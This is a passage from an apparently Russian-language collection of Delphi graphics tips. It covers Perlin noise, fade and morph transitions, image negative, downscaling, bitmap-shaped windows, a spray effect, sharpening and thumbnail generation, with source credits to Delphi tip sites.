  bx1 := (bx0 + 1) and defBM;
  rx0 := frac(arg + defN);
  rx1 := rx0 - 1.0;
  sx := rx0 * rx0 * (3.0 - 2.0 * rx0);
  u := rx0 * g1[p[bx0]];
  v := rx1 * g1[p[bx1]];
  result := u + sx * (v - u);
end;

function noise2(vec0, vec1: double): double;
var
  i, j, bx0, bx1, by0, by1, b00, b10, b01, b11: integer;
  rx0, rx1, ry0, ry1, sx, sy, a, b, u, v: double;
begin
  if start then
  begin
    init;
    start := false;
  end;
  bx0 := trunc(vec0 + defN) and defBM;
  bx1 := (bx0 + 1) and defBM;
  rx0 := frac(vec0 + defN);
  rx1 := rx0 - 1.0;
  by0 := trunc(vec1 + defN) and defBM;
  by1 := (by0 + 1) and defBM;
  ry0 := frac(vec1 + defN);
  ry1 := ry0 - 1.0;
  i := p[bx0];
  j := p[bx1];
  b00 := p[i + by0];
  b10 := p[j + by0];
  b01 := p[i + by1];
  b11 := p[j + by1];
  sx := rx0 * rx0 * (3.0 - 2.0 * rx0);
  sy := ry0 * ry0 * (3.0 - 2.0 * ry0);
  u := rx0 * g2[b00, 0] + ry0 * g2[b00, 1];
  v := rx1 * g2[b10, 0] + ry0 * g2[b10, 1];
  a := u + sx * (v - u);
  u := rx0 * g2[b01, 0] + ry1 * g2[b01, 1];
  v := rx1 * g2[b11, 0] + ry1 * g2[b11, 1];
  b := u + sx * (v - u);
  result := a + sy * (b - a);
end;

function noise3orig(vec0, vec1, vec2: double): double;
var
  i, j, bx0, bx1, by0, by1, bz0, bz1, b00, b10, b01, b11: integer;
  rx0, rx1, ry0, ry1, rz0, rz1, sx, sy, sz, a, b, c, d, u, v: double;
begin
  if start then
  begin
    start := false;
    init;
  end;
  setup(vec0, bx0, bx1, rx0, rx1);
  setup(vec1, by0, by1, ry0, ry1);
  setup(vec2, bz0, bz1, rz0, rz1);
  i := p[bx0];
  j := p[bx1];
  b00 := p[i + by0];
  b10 := p[j + by0];
  b01 := p[i + by1];
  b11 := p[j + by1];
  sx := s_curve(rx0);
  sy := s_curve(ry0);
  sz := s_curve(rz0);
  u := rx0 * g3[b00 + bz0, 0] + ry0 * g3[b00 + bz0, 1] + rz0 * g3[b00 + bz0, 2];
  v := rx1 * g3[b10 + bz0, 0] + ry0 * g3[b10 + bz0, 1] + rz0 * g3[b10 + bz0, 2];
  a := lerp(sx, u, v);
  u := rx0 * g3[b01 + bz0, 0] + ry1 * g3[b01 + bz0, 1] + rz0 * g3[b01 + bz0, 2];
  v := rx1 * g3[b11 + bz0, 0] + ry1 * g3[b11 + bz0, 1] + rz0 * g3[b11 + bz0, 2];
  b := lerp(sx, u, v);
  c := lerp(sy, a, b);
  u := rx0 * g3[b00 + bz1, 0] + ry0 * g3[b00 + bz1, 1] + rz1 * g3[b00 + bz1, 2];
  v := rx1 * g3[b10 + bz1, 0] + ry0 * g3[b10 + bz1, 1] + rz1 * g3[b10 + bz1, 2];
  a := lerp(sx, u, v);
  u := rx0 * g3[b01 + bz1, 0] + ry1 * g3[b01 + bz1, 1] + rz1 * g3[b01 + bz1, 2];
  v := rx1 * g3[b11 + bz1, 0] + ry1 * g3[b11 + bz1, 1] + rz1 * g3[b11 + bz1, 2];
  b := lerp(sx, u, v);
  d := lerp(sy, a, b);
  result := lerp(sz, c, d);
end;

function noise3(vec0, vec1, vec2: double): double;
var
  i, j, bx0, bx1, by0, by1, bz0, bz1, b00, b10, b01, b11: integer;
  rx0, rx1, ry0, ry1, rz0, rz1, sx, sy, sz, a, b, c, d, u, v: double;
begin
  if start then
  begin
    start := false;
    init;
  end;
  bx0 := trunc(vec0 + defN) and defBM;
  bx1 := (bx0 + 1) and defBM;
  rx0 := frac(vec0 + defN);
  rx1 := rx0 - 1.0;
  by0 := trunc(vec1 + defN) and defBM;
  by1 := (by0 + 1) and defBM;
  ry0 := frac(vec1 + defN);
  ry1 := ry0 - 1.0;
  bz0 := trunc(vec2 + defN) and defBM;
  bz1 := (bz0 + 1) and defBM;
  rz0 := frac(vec2 + defN);
  rz1 := rz0 - 1.0;
  i := p[bx0];
  j := p[bx1];
  b00 := p[i + by0];
  b10 := p[j + by0];
  b01 := p[i + by1];
  b11 := p[j + by1];
  sx := rx0 * rx0 * (3.0 - 2.0 * rx0);
  sy := ry0 * ry0 * (3.0 - 2.0 * ry0);
  sz := rz0 * rz0 * (3.0 - 2.0 * rz0);
  u := rx0 * g3[b00 + bz0, 0] + ry0 * g3[b00 + bz0, 1] + rz0 * g3[b00 + bz0, 2];
  v := rx1 * g3[b10 + bz0, 0] + ry0 * g3[b10 + bz0, 1] + rz0 * g3[b10 + bz0, 2];
  a := u + sx * (v - u);
  u := rx0 * g3[b01 + bz0, 0] + ry1 * g3[b01 + bz0, 1] + rz0 * g3[b01 + bz0, 2];
  v := rx1 * g3[b11 + bz0, 0] + ry1 * g3[b11 + bz0, 1] + rz0 * g3[b11 + bz0, 2];
  b := u + sx * (v - u);
  c := a + sy * (b - a);
  u := rx0 * g3[b00 + bz1, 0] + ry0 * g3[b00 + bz1, 1] + rz1 * g3[b00 + bz1, 2];
  v := rx1 * g3[b10 + bz1, 0] + ry0 * g3[b10 + bz1, 1] + rz1 * g3[b10 + bz1, 2];
  a := u + sx * (v - u);
  u := rx0 * g3[b01 + bz1, 0] + ry1 * g3[b01 + bz1, 1] + rz1 * g3[b01 + bz1, 2];
  v := rx1 * g3[b11 + bz1, 0] + ry1 * g3[b11 + bz1, 1] + rz1 * g3[b11 + bz1, 2];
  b := u + sx * (v - u);
  d := a + sy * (b - a);
  result := c + sz * (d - c);
end;

{Harmonic summing functions}

{In what follows "alpha" is the weight when the sum is formed. Typically it is 2. As this
approaches 1 the function is noisier.
"beta" is the harmonic scaling/spacing, typically 2.
persistance = 1/alpha
beta = frequency
N = octaves}

function PNoise1(x, alpha, beta: double; n: integer): double;
var
  i: integer;
  val, sum, p, scale: double;
begin
  sum := 0;
  scale := 1;
  p := x;
  for i := 0 to n - 1 do
  begin
    val := noise1(p);
    sum := sum + val / scale;
    scale := scale * alpha;
    p := p * beta;
  end;
  result := sum;
end;

function PNoise2(x, y, alpha, beta: double; n: integer): double;
var
  i: integer;
  val, sum, px, py, scale: double;
begin
  sum := 0;
  scale := 1;
  px := x;
  py := y;
  for i := 0 to n - 1 do
  begin
    val := noise2(px, py);
    sum := sum + val / scale;
    scale := scale * alpha;
    px := px * beta;
    py := py * beta;
  end;
  result := sum;
end;

function PNoise3(x, y, z, alpha, beta: double; n: integer): double;
var
  i: integer;
  val, sum, px, py, pz, scale: double;
begin
  sum := 0;
  scale := 1;
  px := x;
  py := y;
  pz := z;
  for i := 0 to n - 1 do
  begin
    val := noise3(px, py, pz);
    sum := sum + val / scale;
    scale := scale * alpha;
    px := px * beta;
    py := py * beta;
    pz := pz * beta;
  end;
  result := sum;
end;

end.

Used like this:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls;

type
  TForm1 = class(TForm)
    Image1: TImage;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

uses
  perlin;

procedure TForm1.Button1Click(Sender: TObject);
var
  x, y, z, c: integer;
begin
  image1.Canvas.Brush.Color := 0;
  image1.Canvas.FillRect(image1.Canvas.ClipRect);
  for x := 0 to 511 do
    for y := 0 to 511 do
    begin
      z := trunc(pnoise2(x / 100, y / 100, 2, 2, 10) * 128) + 128;
      c := z + (z shl 8) + (z shl 16);
      image1.Canvas.Pixels[x, y] := c;
    end;
  c := 0;
  repeat
    image1.Canvas.Pixels[519, c] := $FFFFFF;
    c := c + 10;
  until
    c > 510;
end;

end.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


эффект плавного перехода

Автор: David C. Ullrich
...существует ли для этого эффекта какой-либо алгоритм генерации изображений вместо использования кисточки?

Я был скептически настроен к механизму использования кистей, чтобы получить что-либо похожее на эффект перехода/ухода ("fade") по сравнению со стеркой ("wipe"), но вчера вечером я нашел следующее решение, которое делает невероятное - осуществляет плавный переход от одного изображения к другому:

procedure WaitAWhile(n: longint);
var
  StartTime: longint;
begin
  StartTime := timeGetTime;
  while timeGetTime < StartTime + n do
    ;
end;

procedure TForm1.Image1Click(Sender: TObject);
var
  BrushBmp, BufferBmp, Buffer2Bmp, ImageBmp, Image2Bmp: TBitmap;
  j, k, row, col: longint;
begin
  row := 0;
  col := 0;
  BrushBmp := TBitmap.Create;
  with BrushBmp do
  begin
    Monochrome := false;
    Width := 8;
    Height := 8;
  end;
  imageBmp := TBitmap.create;
  imagebmp.loadfromfile('c:\huh.bmp');
  image2bmp := TBitmap.Create;
  image2bmp.LoadFromFile('c:\whatsis.bmp');
  {При 256 цветах лучше иметь ту же самую палитру!}
  BufferBmp := TBitmap.Create;
  with BufferBmp do
  begin
    Height := 200;
    Width := 200;
    canvas.brush.bitmap := TBitmap.Create;
  end;
  Buffer2Bmp := TBitmap.Create;
  with Buffer2Bmp do
  begin
    Height := 200;
    Width := 200;
    canvas.brush.bitmap := TBitmap.Create;
  end;
  for k := 1 to 16 do
  begin
    WaitAWhile(0); {Для пентиума необходимо добавить задержку}
    for j := 0 to 3 do
    begin
      row := (row + 5) mod 8;
      col := (col + 1) mod 8;
      if row = 0 then
        col := (col + 1) mod 8;
      BrushBmp.canvas.Pixels[row, col] := clBlack;
    end;
    with BufferBmp do
    begin
      canvas.copymode := cmSrcCopy;
      canvas.brush.bitmap.free;
      canvas.brush.style := bsClear;
      canvas.brush.bitmap := TBitmap.Create;
      canvas.brush.bitmap.Assign(BrushBmp);
      canvas.Rectangle(0, 0, 200, 200);
      canvas.CopyMode := cmMergeCopy;
      canvas.copyrect(rect(0, 0, 200, 200), imageBmp.canvas,
        rect(0, 0, 200, 200));
    end;
    with Buffer2Bmp do
    begin
      canvas.copymode := cmSrcCopy;
      canvas.brush.bitmap.free;
      canvas.brush.style := bsClear;
      canvas.brush.bitmap := TBitmap.Create;
      canvas.brush.bitmap.Assign(BrushBmp);
      canvas.Rectangle(0, 0, 200, 200);
      canvas.copymode := cmSrcErase;
      canvas.copyrect(rect(0, 0, 200, 200), image2bmp.canvas,
        rect(0, 0, 200, 200));
    end;
    BufferBmp.Canvas.CopyMode := cmSrcPaint;
    BufferBmp.Canvas.Copyrect(rect(0, 0, 200, 200),
      Buffer2Bmp.Canvas, rect(0, 0, 200, 200));
    canvas.copymode := cmSrcCopy;
    canvas.copyrect(rect(0, 0, 200, 200), BufferBmp.Canvas,
      rect(0, 0, 200, 200));
  end;

  BufferBmp.canvas.brush.bitmap.free;
  Buffer2Bmp.canvas.brush.bitmap.free;
  BrushBmp.Free;
  BufferBmp.Free;
  Buffer2Bmp.Free;
  ImageBmp.Free;
  image2Bmp.Free;
end;

Комментарии: На Pentium I я реально использую 64 кисточки, изменив приведенные выше строки на следующие:

for k:= 1 to 64 do
begin
  WaitAWhile(50);
  for j:=0 to 0 do

При организации указанной задержки возможно получение плавного перехода.

Заполняя кисть в другом порядке, вы можете получить ряд других эффектов, но приведенная выше версия единственная, которую мне удалось получить максимально похожей на эффект перехода, но вы можете, скажем, написать:

begin
  row:=(row+1) mod 8;
  (*col:=(col+1) mod 8;*)
  if row=0 then
    col:=(col+1) mod 8;

и получить своего рода эффект перехода типа "venetian-blind wipe" (дословно - стерка венецианского хрусталя).

Вопрос: Я чуствую, что я делаю что-то неправильно, существует какая-то хитрость с кистью. Мне нужно все четыре строчки:

canvas.brush.bitmap.free;
canvas.brush.style:=bsClear;
canvas.brush.bitmap:=TBitmap.Create;
canvas.brush.bitmap.Assign(BrushBmp);

чтобы все работало правильно; но я совсем не понимаю, почему первые три строки являются обязательными, но если я их выкидываю, Assign сработывает только один раз(!?!?!). Это реально работает? Есть способ другого быстрого назначения brush.bitmaps? (В документации в качестве примера указано на Brush.Bitmap.LoadFromFile, но должно быть лучшее решение. Хорошо, допустим приведенный способ лучший, но он кажется неправильным...)

Взято с http://delphiworld.narod.ru


Негатив картинки

var
  Line: pByteArray;
  i, j: integer;
begin
  // считываем высоту картинки
  for i := 0 to Image1.Picture.Bitmap.Height - 1 do
  begin
    //сканируем по линиям рисунок
    Line := Image1.Picture.Bitmap.ScanLine[i];
    for j := 0 to Image1.Picture.Bitmap.Width * 3 - 1 do
      //меняем цвет на обратный исходя из RGB
      Line^[j] := 255 - Line^[j];
  end;
  Image1.Refresh;
end;

Взято с http://delphiworld.narod.ru


Качественно уменьшить изображение

В Delphi изменять размеры изображения очень просто, используя CopyRect:

procedure TForm1.Button1Click(Sender: TObject);
begin
  Form1.Canvas.Font.Size := 24;
  Form1.Canvas.TextOut(0, 0, 'Text');
  Form1.Canvas.CopyRect(Bounds(0, 50, 25, 10), Form1.Canvas,
  Bounds(0, 0, 100, 40));
end;

Но этот способ не очень хорош для уменьшения не маленьких картинок – мелкие детали сливаются. Для частичного устранения этого недостатка при уменьшении изображения в четыре раза я беру средний цвет в каждом квадратике 4X4. К чему это приводит, посмотрите сами.

procedure TForm1.Button1Click(Sender: TObject);
var
  x, y: integer;
  i, j: integer;
  r, g, b: integer;
begin
  Form1.Canvas.Font.Size := 24;
  Form1.Canvas.TextOut(0, 0, 'Text');
  for y := 0 to 10 do
  begin
    for x := 0 to 25 do
    begin
      r := 0;
      for i := 0 to 3 do
        for j := 0 to 3 do
          r := r + GetRValue(Form1.Canvas.Pixels[4*x+i, 4*y+j]);
      r := round(r / 16);
      g := 0;
      for i := 0 to 3 do
        for j := 0 to 3 do
          g := g + GetGValue(Form1.Canvas.Pixels[4*x+i, 4*y+j]);
      g := round(g / 16);
      b := 0;
      for i := 0 to 3 do
        for j := 0 to 3 do
          b := b + GetBValue(Form1.Canvas.Pixels[4*x+i, 4*y+j]);
      b := round(b / 16);
      Form1.Canvas.Pixels[x,y+50] := RGB(r, g, b)
    end;
    Application.ProcessMessages;
  end;
end;

unit ProjetoX_Screen;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtCtrls, StdCtrls, DBCtrls;

type
  TFormScreen = class(TForm)
    ImgFundo: TImage;
    procedure FormCreate(Sender: TObject);
  public
    MyRegion : HRGN;
    function BitmapToRegion(hBmp: TBitmap; TransColor: TColor): HRGN;
  end;

var
  FormScreen: TFormScreen;

implementation

{$R *.DFM}
function TFormScreen.BitmapToRegion(hBmp: TBitmap; TransColor: TColor): HRGN;

const
  ALLOC_UNIT = 100;

var
  MemDC, DC: HDC;
  BitmapInfo: TBitmapInfo;
  hbm32, holdBmp, holdMemBmp: HBitmap;
  pbits32 : Pointer;
  bm32 : BITMAP;
  maxRects: DWORD;
  hData: HGLOBAL;
  pData: PRgnData;
  b, CR, CG, CB : Byte;
  p32: pByte;
  x, x0, y: integer;
  p: pLongInt;
  pr: PRect;
  h: HRGN;

begin
  Result := 0;
  if hBmp <> nil then
  begin
    MemDC := CreateCompatibleDC(0);
    if MemDC <> 0 then
    begin
      with BitmapInfo.bmiHeader do
      begin
        biSize          := sizeof(TBitmapInfoHeader);
        biWidth         := hBmp.Width;
        biHeight        := hBmp.Height;
        biPlanes        := 1;
        biBitCount      := 32;
        biCompression   := BI_RGB;
        biSizeImage     := 0;
        biXPelsPerMeter := 0;
        biYPelsPerMeter := 0;
        biClrUsed       := 0;
        biClrImportant  := 0;
      end;
      hbm32 := CreateDIBSection(MemDC, BitmapInfo, DIB_RGB_COLORS, pbits32,0, 0);
      if hbm32 <> 0 then
      begin
        holdMemBmp := SelectObject(MemDC, hbm32);
        GetObject(hbm32, SizeOf(bm32), @bm32);
        while (bm32.bmWidthBytes mod 4) > 0 do
          inc(bm32.bmWidthBytes);
        DC := CreateCompatibleDC(MemDC);
        holdBmp := SelectObject(DC, hBmp.Handle);
        BitBlt(MemDC, 0, 0, hBmp.Width, hBmp.Height, DC, 0, 0, SRCCOPY);
        maxRects := ALLOC_UNIT;
        hData := GlobalAlloc(GMEM_MOVEABLE, sizeof(TRgnDataHeader) +
           SizeOf(TRect) * maxRects);
        pData := GlobalLock(hData);
        pData^.rdh.dwSize := SizeOf(TRgnDataHeader);
        pData^.rdh.iType := RDH_RECTANGLES;
        pData^.rdh.nCount := 0;
        pData^.rdh.nRgnSize := 0;
        SetRect(pData^.rdh.rcBound, MaxInt, MaxInt, 0, 0);
        CR := GetRValue(ColorToRGB(TransColor));
        CG := GetGValue(ColorToRGB(TransColor));
        CB := GetBValue(ColorToRGB(TransColor));
        p32 := bm32.bmBits;
        inc(PChar(p32), (bm32.bmHeight - 1) * bm32.bmWidthBytes);
        for y := 0 to hBmp.Height-1 do
        begin
          x := -1;
          while x+1 < hBmp.Width do
          begin
            inc(x);
            x0 := x;
            p := PLongInt(p32);
            inc(PChar(p), x * SizeOf(LongInt));
            while x < hBmp.Width do
            begin
              b := GetBValue(p^);
              if (b = CR) then
              begin
                b := GetGValue(p^);
                if (b = CG) then
                begin
                  b := GetRValue(p^);
                  if (b = CB) then
                    break;
                end;
              end;
              inc(PChar(p), SizeOf(LongInt));
              inc(x);
            end;
            if x > x0 then
            begin
              if pData^.rdh.nCount >= maxRects then
              begin
                GlobalUnlock(hData);
                inc(maxRects, ALLOC_UNIT);
                hData := GlobalReAlloc(hData, SizeOf(TRgnDataHeader) +
                   SizeOf(TRect) * maxRects, GMEM_MOVEABLE);
                pData := GlobalLock(hData);
                Assert(pData <> NIL);
              end;
              pr := @pData^.Buffer[pData^.rdh.nCount * SizeOf(TRect)];
              SetRect(pr^, x0, y, x, y+1);
              if x0 < pData^.rdh.rcBound.Left then
                pData^.rdh.rcBound.Left := x0;
              if y < pData^.rdh.rcBound.Top then
                pData^.rdh.rcBound.Top := y;
              if x > pData^.rdh.rcBound.Right then
                pData^.rdh.rcBound.Left := x;
              if y+1 > pData^.rdh.rcBound.Bottom then
                pData^.rdh.rcBound.Bottom := y+1;
              inc(pData^.rdh.nCount);
              if pData^.rdh.nCount = 2000 then
              begin
                h := ExtCreateRegion(NIL, SizeOf(TRgnDataHeader) +
                   (SizeOf(TRect) * maxRects), pData^);
                Assert(h <> 0);
                if Result <> 0 then
                begin
                  CombineRgn(Result, Result, h, RGN_OR);
                  DeleteObject(h);
                end else
                  Result := h;
                pData^.rdh.nCount := 0;
                SetRect(pData^.rdh.rcBound, MaxInt, MaxInt, 0, 0);
              end;
            end;
          end;
          Dec(PChar(p32), bm32.bmWidthBytes);
        end;
        h := ExtCreateRegion(NIL, SizeOf(TRgnDataHeader) +
           (SizeOf(TRect) * maxRects), pData^);
        Assert(h <> 0);
        if Result <> 0 then
        begin
          CombineRgn(Result, Result, h, RGN_OR);
          DeleteObject(h);
        end else
          Result := h;
        GlobalFree(hData);
        SelectObject(DC, holdBmp);
        DeleteDC(DC);
        DeleteObject(SelectObject(MemDC, holdMemBmp));
      end;
    end;
    DeleteDC(MemDC);
  end;
end;

procedure TFormScreen.FormCreate(Sender: TObject);
begin
        MyRegion := BitmapToRegion(imgFundo.Picture.Bitmap,imgFundo.Canvas.Pixels[0,0]);
        SetWindowRgn(Handle,MyRegion,True);
end;

procedure TFormXXXXXX.FormCreate(Sender: TObject);
begin
        FormScreen.MyRegion := FormScreen.BitmapToRegion(imgFundo.Picture.Bitmap,
          imgFundo.Canvas.Pixels[0,0]);
        SetWindowRgn(Handle,FormScreen.MyRegion,True);
end;

Взято с http://delphiworld.narod.ru


Spray effect

procedure Spray(Canvas: TCanvas; x, y, r: Integer; Color: TColor);
var
  rad, a: Single;
  i: Integer;
begin
  for i := 0 to 100 do
  begin
    a   := Random * 2 * pi;
    rad := Random * r;
    Canvas.Pixels[x + Round(rad * Cos(a)), y + Round(rad * Sin(a))] := Color;
  end;
end;

procedure TForm1.Image1MouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
  if ssLeft in Shift then Spray(Image1.Canvas, x, y, 40, clRed);
end;

procedure TForm1.Image1MouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
  if ssLeft in Shift then Spray(Image1.Canvas, x, y, 40, clRed);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Sharpen a Bitmap

procedure Sharpen(sbm, tbm: TBitmap; alpha: Single);
//to sharpen, alpha must be >1.
//pixelformat pf24bit
//sharpens sbm to tbm
var
  i, j, k: integer;
  sr: array[0..2] of PByte;
  st: array[0..4] of pRGBTriple;
  tr: PByte;
  tt, p: pRGBTriple;
  beta: Single;
  inta, intb: integer;
  bmh, bmw: integer;
  re, gr, bl: integer;
  BytesPerScanline: integer;

begin
  //sharpening is blending of the current pixel
  //with the average of the surrounding ones,
  //but with a negative weight for the average
  Assert((sbm.Width > 2) and (sbm.Height > 2), 'Bitmap must be at least 3x3');
  Assert((alpha > 1) and (alpha < 6), 'Alpha must be >1 and <6');
  beta := (alpha - 1) / 5; //we assume alpha>1 and beta<1
  intb := round(beta * $10000);
  inta := round(alpha * $10000); //integer scaled alpha and beta
  sbm.PixelFormat := pf24bit;
  tbm.PixelFormat := pf24bit;
  tbm.Width := sbm.Width;
  tbm.Height := sbm.Height;
  bmw := sbm.Width - 2;
  bmh := sbm.Height - 2;
  BytesPerScanline := (((bmw + 2) * 24 + 31) and not 31) div 8;

  tr := tbm.Scanline[0];
  tt := pRGBTriple(tr);

  sr[0] := sbm.Scanline[0];
  st[0] := pRGBTriple(sr[0]);
  for j := 0 to bmw + 1 do
  begin
    tt^ := st[0]^;
    inc(tt); inc(st[0]); //first row unchanged
  end;

  sr[1] := PByte(integer(sr[0]) - BytesPerScanline);
  sr[2] := PByte(integer(sr[1]) - BytesPerScanline);
  for i := 1 to bmh do
  begin
    Dec(tr, BytesPerScanline);
    tt := pRGBTriple(tr);
    st[0] := pRGBTriple(integer(sr[0]) + 3); //top
    st[1] := pRGBTriple(sr[1]); //left
    st[2] := pRGBTriple(integer(sr[1]) + 3); //center
    st[3] := pRGBTriple(integer(sr[1]) + 6); //right
    st[4] := pRGBTriple(integer(sr[2]) + 3); //bottom
    tt^ := st[1]^; //1st col unchanged
    for j := 1 to bmw do
    begin
    //calcutate average weighted by -beta
      re := 0; gr := 0; bl := 0;
      for k := 0 to 4 do
      begin
        re := re + st[k]^.rgbtRed;
        gr := gr + st[k]^.rgbtGreen;
        bl := bl + st[k]^.rgbtBlue;
        inc(st[k]);
      end;
      re := (intb * re + $7FFF) shr 16;
      gr := (intb * gr + $7FFF) shr 16;
      bl := (intb * bl + $7FFF) shr 16;

    //add center pixel weighted by alpha
      p := pRGBTriple(st[1]); //after inc, st[1] is at center
      re := (inta * p^.rgbtRed + $7FFF) shr 16 - re;
      gr := (inta * p^.rgbtGreen + $7FFF) shr 16 - gr;
      bl := (inta * p^.rgbtBlue + $7FFF) shr 16 - bl;

    //clamp and move into target pixel
      inc(tt);
      if re < 0 then
        re := 0
      else
        if re > 255 then
          re := 255;
      if gr < 0 then
        gr := 0
      else
        if gr > 255 then
          gr := 255;
      if bl < 0 then
        bl := 0
      else
        if bl > 255 then
          bl := 255;
      //this looks stupid, but avoids function calls

      tt^.rgbtRed := re;
      tt^.rgbtGreen := gr;
      tt^.rgbtBlue := bl;
    end;
    inc(tt);
    inc(st[1]);
    tt^ := st[1]^; //Last col unchanged
    sr[0] := sr[1];
    sr[1] := sr[2];
    Dec(sr[2], BytesPerScanline);
  end;
  // copy last row
  Dec(tr, BytesPerScanline);
  tt := pRGBTriple(tr);
  st[1] := pRGBTriple(sr[1]);
  for j := 0 to bmw + 1 do
  begin
    tt^ := st[1]^;
    inc(tt); inc(st[1]);
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как сделать Thumbnails?

{
  Here is the routine I use in my thumbnail component and I belive it is quite
  fast.
  A tip to gain faster loading of jpegs is to use the TJpegScale.Scale
  property. You can gain a lot by using this correct.

  This routine can only downscale images no upscaling is supported and you
  must correctly set the dest image size. The src.image will be scaled to fit
  in dest bitmap.
}

const
 FThumbSize = 150;

//Speed up by Renate Schaaf, Armido, Gary Williams...
procedure MakeThumbNail(src, dest: tBitmap);
type
  PRGB24 = ^TRGB24;
  TRGB24 = packed record
    B: Byte;
    G: Byte;
    R: Byte;
  end;
var
  x, y, ix, iy: integer;
  x1, x2, x3: integer;

  xscale, yscale: single;
  iRed, iGrn, iBlu, iRatio: Longword;
  p, c1, c2, c3, c4, c5: tRGB24;
  pt, pt1: pRGB24;
  iSrc, iDst, s1: integer;
  i, j, r, g, b, tmpY: integer;

  RowDest, RowSource, RowSourceStart: integer;
  w, h: integer;
  dxmin, dymin: integer;
  ny1, ny2, ny3: integer;
  dx, dy: integer;
  lutX, lutY: array of integer;

begin
  if src.PixelFormat <> pf24bit then src.PixelFormat := pf24bit;
  if dest.PixelFormat <> pf24bit then dest.PixelFormat := pf24bit;
  w := Dest.Width;
  h := Dest.Height;

  if (src.Width <= FThumbSize) and (src.Height <= FThumbSize) then
  begin
    dest.Assign(src);
    exit;
  end;

  iDst := (w * 24 + 31) and not 31;
  iDst := iDst div 8; //BytesPerScanline
  iSrc := (Src.Width * 24 + 31) and not 31;
  iSrc := iSrc div 8;

  xscale := 1 / (w / src.Width);
  yscale := 1 / (h / src.Height);

  // X lookup table
  SetLength(lutX, w);
  x1 := 0;
  x2 := trunc(xscale);
  for x := 0 to w - 1 do
  begin
    lutX[x] := x2 - x1;
    x1 := x2;
    x2 := trunc((x + 2) * xscale);
  end;

  // Y lookup table
  SetLength(lutY, h);
  x1 := 0;
  x2 := trunc(yscale);
  for x := 0 to h - 1 do
  begin
    lutY[x] := x2 - x1;
    x1 := x2;
    x2 := trunc((x + 2) * yscale);
  end;

  dec(w);
  dec(h);
  RowDest := integer(Dest.Scanline[0]);
  RowSourceStart := integer(Src.Scanline[0]);
  RowSource := RowSourceStart;
  for y := 0 to h do
  begin
    dy := lutY[y];
    x1 := 0;
    x3 := 0;
    for x := 0 to w do
    begin
      dx:= lutX[x];
      iRed:= 0;
      iGrn:= 0;
      iBlu:= 0;
      RowSource := RowSourceStart;
      for iy := 1 to dy do
      begin
        pt := PRGB24(RowSource + x1);
        for ix := 1 to dx do
        begin
          iRed := iRed + pt.R;
          iGrn := iGrn + pt.G;
          iBlu := iBlu + pt.B;
          inc(pt);
        end;
        RowSource := RowSource - iSrc;
      end;
      iRatio := 65535 div (dx * dy);
      pt1 := PRGB24(RowDest + x3);
      pt1.R := (iRed * iRatio) shr 16;
      pt1.G := (iGrn * iRatio) shr 16;
      pt1.B := (iBlu * iRatio) shr 16;
      x1 := x1 + 3 * dx;
      inc(x3,3);
    end;
    RowDest := RowDest - iDst;
    RowSourceStart := RowSource;
  end;

  if dest.Height < 3 then exit;

  // Sharpening...
  s1 := integer(dest.ScanLine[0]);
  iDst := integer(dest.ScanLine[1]) - s1;
  ny1 := Integer(s1);
  ny2 := ny1 + iDst;
  ny3 := ny2 + iDst;
  for y := 1 to dest.Height - 2 do
  begin
    for x := 0 to dest.Width - 3 do
    begin
      x1 := x * 3;
      x2 := x1 + 3;
      x3 := x1 + 6;

      c1 := pRGB24(ny1 + x1)^;
      c2 := pRGB24(ny1 + x3)^;
      c3 := pRGB24(ny2 + x2)^;
      c4 := pRGB24(ny3 + x1)^;
      c5 := pRGB24(ny3 + x3)^;

      r := (c1.R + c2.R + (c3.R * -12) + c4.R + c5.R) div -8;
      g := (c1.G + c2.G + (c3.G * -12) + c4.G + c5.G) div -8;
      b := (c1.B + c2.B + (c3.B * -12) + c4.B + c5.B) div -8;

      if r < 0 then r := 0 else if r > 255 then r := 255;
      if g < 0 then g := 0 else if g > 255 then g := 255;
      if b < 0 then b := 0 else if b > 255 then b := 255;

      pt1 := pRGB24(ny2 + x2);
      pt1.R := r;
      pt1.G := g;
      pt1.B := b;
    end;
    inc(ny1, iDst);
    inc(ny2, iDst);
    inc(ny3, iDst);
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Плавно превратить один рисунок в другой

procedure TForm1.Button1Click(Sender: TObject);
const
  count = 100;
var
  i: integer;
  x, y: integer;
  bm, bm1, bm2: TBitMap;
  p1, p2, p: PByteArray;
  c: integer;
  k: integer;
begin
  bm := TBitMap.Create;
  bm1 := TBitMap.Create;
  bm2 := TBitMap.Create;
  bm1.LoadFromFile('Bitmap1.bmp');
  bm2.LoadFromFile('Bitmap2.bmp');
  if bm1.Height < bm2.Height then
  begin
    bm.Height := bm1.Height;
    bm2.Height := bm1.Height;
  end
  else
  begin
    bm.Height := bm2.Height;
    bm1.Height := bm2.Height;
  end;
  if bm1.Width < bm2.Width then
  begin
    bm.Width := bm1.Width;
    bm2.Width := bm1.Width;
  end
  else
  begin
    bm.Width := bm2.Width;
    bm1.Width := bm2.Width;
  end;
  bm.PixelFormat := pf24bit;
  bm1.PixelFormat := pf24bit;
  bm2.PixelFormat := pf24bit;

  Form1.Canvas.Draw(0, 0, bm1);
  for i := 1 to count - 1 do
  begin
    for y := 0 to bm.Height - 1 do
    begin
      p := bm.ScanLine[y];
      p1 := bm1.ScanLine[y];
      p2 := bm2.ScanLine[y];
      for x := 0 to bm.Width * 3 - 1 do
        p^[x] := round((p1^[x] * (count - i) + p2^[x] * i) / count);
    end;
    Form1.Canvas.Draw(0, 0, bm);
    Form1.Caption := IntToStr(round(i / count * 100)) + '%';
    Application.ProcessMessages;
    if Application.Terminated then
      break;
  end;
  Form1.Canvas.Draw(0, 0, bm2);
  Form1.Caption := 'done';
  bm1.Destroy; bm2.Destroy; bm.Destroy;
end;


Черчение

Cодержание раздела:

Как начертить круг?
Как начертить hexagon?
Как повернуть элипс?
Как изменить размеры полигона?
Создание PolyPolygon используя массив точек?

См. также статьи в других разделах:
